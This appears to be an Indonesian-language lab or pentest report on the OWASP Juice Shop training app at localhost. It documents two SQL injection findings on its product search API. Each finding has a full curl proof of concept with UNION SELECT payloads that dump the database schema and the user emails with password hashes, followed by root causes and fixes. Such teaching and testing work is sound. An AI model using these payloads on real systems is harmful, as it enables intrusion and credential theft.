

Nama: Rhesa Daiva Bremana

## 1. Menampilkan metadata database melalui SQL Injection dari API Search

POC:

```
curl --location  
'http://localhost:3000/rest/products/search?q=walwae%27))%20union%20all%20select%20  
1%2C2%2C3%2Csql%2C5%2C6%2C7%2C8%2C9%20from%20sqlite_master%20--%20' \  
--header 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101  
Firefox/141.0' \  
--header 'Accept: application/json, text/plain, */*' \  
--header 'Accept-Language: en-US,en;q=0.5' \  
--header 'Accept-Encoding: gzip, deflate, br, zstd' \  
--header 'Authorization: Bearer  
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzliwiZGF0YSI6eyJpZCI6  
MSwidXNlcm5hbWUiOiliLCJlbWFpbCl6ImFkbWluQGp1aWNILXNoLm9wliwicGFzc3dvcnQiOi  
wMTkyMDIzYTdiYmQ3Mzl1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUIoJhZG1pbilsImRlbHV4Z  
VRva2VuljoiliwibGFzdExvZ2luSXAiOiliLCJwcm9maWxlSW1hZ2UiOijhc3NldHMvcHVibGljL2ItY  
Wdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmcilCJ0b3RwU2VjcmV0ljoiliwiaXNBY3RpdmUi  
OnRydWUsImNyZWF0ZWRBdCl6ljlwMjUtMTEtMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsI  
nVwZGF0ZWRBdCl6ljlwMjUtMTEtMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbGV0ZW  
RBdCl6bnVsbH0sImlhdcI6MTc2MjlyMjE4Nn0.OcCHF2hcaY1MnUMPozwYbemibjhMAb0RV-  
rJmtUt7AwfpEFnKMN917Qy6r73xBC88rwNkwIRFHRyOrLSFLPaJ4jETdwiByBKjFDdoG62FvKV6  
6ngM2I-yUbsRQkZ5ttnHLZUQLkTH0LS1pbo4JfCy5imOldqQ6DwUZH6RYkufs' \  
--header 'Connection: keep-alive' \  
--header 'Referer: http://localhost:3000/' \  
--header 'Cookie: language=en; welcomebanner_status=dismiss;  
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzliwiZGF0YSI6eyJ  
pZCI6MSwidXNlcm5hbWUiOiliLCJlbWFpbCl6ImFkbWluQGp1aWNILXNoLm9wliwicGFzc3dvc  
mQiOilwMTkyMDIzYTdiYmQ3Mzl1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUIoJhZG1pbilsImR  
lbHV4ZVRva2VuljoiliwibGFzdExvZ2luSXAiOiliLCJwcm9maWxlSW1hZ2UiOijhc3NldHMvcHVibG  
ljL2ItYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmcilCJ0b3RwU2VjcmV0ljoiliwiaXNBY3Rp  
dmUiOnRydWUsImNyZWF0ZWRBdCl6ljlwMjUtMTEtMDQgMDI6MDg6MjYuMjY1ICswMDow  
MCIsInVwZGF0ZWRBdCl6ljlwMjUtMTEtMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbG  
VOZWRBdCl6bnVsbH0sImlhdcI6MTc2MjlyMjE4Nn0.OcCHF2hcaY1MnUMPozwYbemibjhMAb  
0RV-  
rJmtUt7AwfpEFnKMN917Qy6r73xBC88rwNkwIRFHRyOrLSFLPaJ4jETdwiByBKjFDdoG62FvKV6  
6ngM2I-yUbsRQkZ5ttnHLZUQLkTH0LS1pbo4JfCy5imOldqQ6DwUZH6RYkufs;  
continueCode=rozjEoymrJLQPMIX7aW6e5kOnALDfQOunvA12VZwBv3DYK8zp9NxgRq4bPEJ'  
\ \  
--header 'Sec-Fetch-Dest: empty' \  
--header 'Sec-Fetch-Mode: cors' \  
--header 'Sec-Fetch-Site: same-origin' \  
--header 'If-None-Match: W/"354c-6d1xIk0oc7Grgby0zEAm9JOeaa0"'
```

Screenshot:

```

57     "deletedAt": 9
58   },
59   {
60     "id": 1,
61     "name": 2,
62     "description": "Products",
63     "price": "CREATE TABLE `Products` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` VARCHAR(255), `description` VARCHAR(255),
64       `price` DECIMAL, `deluxePrice` DECIMAL, `image` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT
65       NULL, `deletedAt` DATETIME)",
66     "deluxePrice": 5,
67     "image": 6,
68     "createdAt": 7,
69     "updatedAt": 8,
70     "deletedAt": 9
71   },
72   {
73     "id": 1,
74     "name": 2,
75     "description": "BasketItems",
76     "price": "CREATE TABLE `BasketItems` (`ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE,
77       `BasketId` INTEGER REFERENCES `Baskets` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY
78       AUTOINCREMENT, `quantity` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, UNIQUE (`ProductId`,
79         `BasketId`)",
80     "deluxePrice": 5,
81     "image": 6,
82   },
83   {
84     "id": 1,
85     "name": 2,
86     "description": "Captchas",
87     "price": "CREATE TABLE `Captchas` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `captchaId` INTEGER, `captcha` VARCHAR(255),
88       `answer` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL",
89     "deluxePrice": 5,
90     "image": 6,
91     "createdAt": 7,
92     "updatedAt": 8,
93     "deletedAt": 9
94   },
95   {
96     "id": 1,
97     "name": 2,
98     "description": "Cards",
99     "price": "CREATE TABLE `Cards` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER
100       PRIMARY KEY AUTOINCREMENT, `fullName` VARCHAR(255), `cardNum` INTEGER, `expMonth` INTEGER, `expYear` INTEGER, `createdAt`
101       DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL",
102     "deluxePrice": 5,
103     "image": 6,
104     "createdAt": 7,
105     "updatedAt": 8,
106     "deletedAt": 9
107   },
108   {
109     "id": 1,
110     "name": 2,
111     "description": "Cart"
112     "price": "CREATE TABLE `Cart` (`userId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER
113       PRIMARY KEY AUTOINCREMENT, `productId` INTEGER REFERENCES `Products` (`id`), `quantity` INTEGER, `createdAt` DATETIME NOT
114       NULL, `updatedAt` DATETIME NOT NULL",
115     "deluxePrice": 5,
116     "image": 6,
117     "createdAt": 7,
118     "updatedAt": 8,
119     "deletedAt": 9
120   },
121   {
122     "id": 1
123   }
124 }
```

## Root Cause Analysis:

1. Input search tidak di validasi dan sanitasi sehingga user bisa mengirimkan query untuk mengambil data masternya
2. Penggunaan string concatenation dalam query, sehingga penyerang bisa memasukkan karakter atau kode SQL khusus (misalnya, tanda kutip ', tanda komentar --, atau operator logika seperti OR) untuk mengubah perilaku query.
3. Kurangnya Pembatasan Hak Akses Pengguna di Database, sehingga ketika penyerang dapat mengeksplorasi SQL Injection, dan aplikasi menggunakan akun database dengan hak akses administrator atau akses yang sangat luas, penyerang bisa merusak data, mengakses informasi sensitif, atau bahkan mengambil alih seluruh database.

## Rekomendasi Perbaikan:

1. Sanitize input dari user, validasi untuk tidak menggunakan karakter-karakter yang dilarang.
  2. Gunakan parameterized query
  3. Hindari penggunaan string concatenation
  4. Batasi hak akses user di database.
- 
2. Mengambil semua *user credentials*.

POC:

```
curl --location
'http://localhost:3000/rest/products/search?q=walwae%27))%20union%20all%20select%20
1%2C%2Cusername%2Cemail%2Cpassword%2C6%2C7%2C8%2C9%20from%20users%20
--%20' \
--header 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101
Firefox/141.0' \
--header 'Accept: application/json, text/plain, */*' \
--header 'Accept-Language: en-US,en;q=0.5' \
--header 'Accept-Encoding: gzip, deflate, br, zstd' \
--header 'Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9eyJzdGF0dXMiOiJzdWNjZXNzliwiZGF0YSI6eyJpZCI6
MSwidXNlcm5hbWUiOiliLCJlbWFpbCI6ImFkbWluQGp1aWNILXNoLm9wliwicGFzc3dvcmQiOii
wMTkyMDIzYTdiYmQ3Mzl1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUIOjhZG1pbilsImRlbHV4Z
VRva2VuljoiliwibGFzdExvZ2luSXAiOiliLCJwcm9maWxISW1hZ2UiOjh3NldHMvcHVibGljL2ltY
WdIcy91cGxvYWRzL2RlZmF1bHRBZG1pbis5wbmcilCJ0b3RwU2VjcmV0ljoiliwiaXNBY3RpdmUi
OnRydWUsImNyZWF0ZWRBdCI6IjlwMjUtMTEtMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsInVwZGF0ZWRBdCI6IjlwMjUtMTEtMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbGV0ZW
RBdCI6bnVsbH0sImlhcdI6MTc2MjlyMjE4Nn0.OcCHF2hcaY1MnUMPozwYbemibjhMAb0RV-
rJmtUt7AwfpEFnKMN917Qy6r73xBC88rwNkwIRFHRy0rLSFLPaJ4jETdwiByBKjFDdoG62FvKV6
6ngM2I-yUbsRQkZ5ttnHLZUQLkTH0LS1pbo4JfCy5imOldqQ6DwUZH6RYkufs' \
--header 'Connection: keep-alive' \
--header 'Referer: http://localhost:3000/' \
--header 'Cookie: language=en; welcomebanner_status=dismiss;
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9eyJzdGF0dXMiOiJzdWNjZXNzliwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiliLCJlbWFpbCI6ImFkbWluQGp1aWNILXNoLm9wliwicGFzc3dvcmQiOii
wMTkyMDIzYTdiYmQ3Mzl1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUIOjhZG1pbilsImRlbHV4Z
VRva2VuljoiliwibGFzdExvZ2luSXAiOiliLCJwcm9maWxISW1hZ2UiOjh3NldHMvcHVibGljL2ltY
IjL2ltYwDlc91cGxvYWRzL2RlZmF1bHRBZG1pbis5wbmcilCJ0b3RwU2VjcmV0ljoiliwiaXNBY3Rp
dmUiOnRydWUsImNyZWF0ZWRBdCI6IjlwMjUtMTEtMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsInVwZGF0ZWRBdCI6IjlwMjUtMTEtMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbGV0ZW
RBdCI6bnVsbH0sImlhcdI6MTc2MjlyMjE4Nn0.OcCHF2hcaY1MnUMPozwYbemibjhMAb0RV-
rJmtUt7AwfpEFnKMN917Qy6r73xBC88rwNkwIRFHRy0rLSFLPaJ4jETdwiByBKjFDdoG62FvKV6
6ngM2I-yUbsRQkZ5ttnHLZUQLkTH0LS1pbo4JfCy5imOldqQ6DwUZH6RYkufs;
continueCode=rozjEoymrJLQPMIX7aW6e5klOnALDfQOunvA12VZwBv3DYK8zp9NxgRq4bPEJ'
\
--header 'Sec-Fetch-Dest: empty' \
--header 'Sec-Fetch-Mode: cors' \
--header 'Sec-Fetch-Site: same-origin' \
--header 'If-None-Match: W/"354c-6d1xIK0oc7Grgby0zEAm9JOeaa0"'
```

Screenshot:

```

1
2   "status": "success",
3   "data": [
4     {
5       "id": 1,
6       "name": 2,
7       "description": "",
8       "price": "admin@juice-sh.op",
9       "deluxePrice": "0192023a7bbd73250516f069df18b500",
10      "image": 6,
11      "createdAt": 7,
12      "updatedAt": 8,
13      "deletedAt": 9
14    },
15    {
16      "id": 1,
17      "name": 2,
18      "description": "",
19      "price": "jim@juice-sh.op",
20      "deluxePrice": "e541ca7ecf72b8d1286474fc613e5e45",
21      "image": 6,
22      "createdAt": 7,
23      "updatedAt": 8
24
25
26   {
27     "id": 1,
28     "name": 2,
29     "description": "",
30     "price": "bender@juice-sh.op",
31     "deluxePrice": "0c36e517e3fa95aabf1bbfffc6744a4ef",
32     "image": 6,
33     "createdAt": 7,
34     "updatedAt": 8,
35     "deletedAt": 9
36   },
37   {
38     "id": 1,
39     "name": 2,
40     "description": "bkimminich",
41     "price": "bjoern.kimminich@gmail.com",
42     "deluxePrice": "6edd9d726cbdc873c539e41ae8757b8c",
43     "image": 6,
44     "createdAt": 7,
45     "updatedAt": 8,
46     "deletedAt": 9
47   },
48
49

```

#### Root Cause Analysis:

1. Input search tidak di validasi dan sanitasi sehingga user bisa mengirimkan query untuk mengambil data masternya
2. Penggunaan string concatenation dalam query, sehingga penyerang bisa memasukkan karakter atau kode SQL khusus (misalnya, tanda kutip ', tanda komentar --, atau operator logika seperti OR) untuk mengubah perilaku query.

3. Kurangnya Pembatasan Hak Akses Pengguna di Database, sehingga ketika penyerang dapat mengeksplorasi SQL Injection, dan aplikasi menggunakan akun database dengan hak akses administrator atau akses yang sangat luas, penyerang bisa merusak data, mengakses informasi sensitif, atau bahkan mengambil alih seluruh database.

Rekomendasi Perbaikan:

1. Sanitize input dari user, validasi untuk tidak menggunakan karakter-karakter yang dilarang.
2. Gunakan parameterized query
3. Hindari penggunaan string concatenation
4. Batasi hak akses user di database.